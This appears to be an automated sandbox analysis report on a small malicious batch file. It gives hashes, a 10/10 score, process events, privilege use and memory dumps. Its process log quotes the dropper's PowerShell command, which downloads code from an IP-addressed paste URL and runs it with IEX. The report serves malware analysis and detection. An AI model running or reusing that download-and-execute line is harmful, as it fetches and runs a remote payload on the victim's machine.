2a6d148ce00d67fab5032507fb35d9b9aadf262f50241285499a9432995d56e3

Analysis

Target

5vdSy6qw.bat
Size

193B
MD5

031ebf32ddffd201aadeb038ae3a4c5a
SHA1

3007f3c3cb507ef5f37dffb7f60bed5e320ffbb3
SHA256

2a6d148ce00d67fab5032507fb35d9b9aadf262f50241285499a9432995d56e3
SHA512

87dfa36b43b402c579dec4890f2208dd45adc6cea8d5e781b1d26505e85701229e491a3cc1b34eb9d823246703ee547a975156e53a5847625a16ffec85ed8a83

Score

10^/10

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/5vdSy6qw

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

Makes http(s) request 1 IoCs
Contacts server via http/https, possibly for C2 communication.

Processes:

description flow ioc

HTTP URL 5 http://www.msftconnecttest.com/connecttest.txt
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1000 500 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 1000 WerFault.exe
Token: SeBackupPrivilege 1000 WerFault.exe
Token: SeDebugPrivilege 1000 WerFault.exe

description	flow	ioc
HTTP URL	5	http://www.msftconnecttest.com/connecttest.txt

pid	pid_target	process	target process
1000	500	WerFault.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\5vdSy6qw.bat"
1⤵
PID:3824

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/5vdSy6qw');Invoke-OVWRKZKGCK;Start-Sleep -s 10000"
2⤵
PID:500

memory/1000-0-0x0000000004410000-0x0000000004411000-memory.dmp

Filesize
4KB

Download
memory/1000-1-0x0000000004A40000-0x0000000004A41000-memory.dmp

Filesize
4KB

Download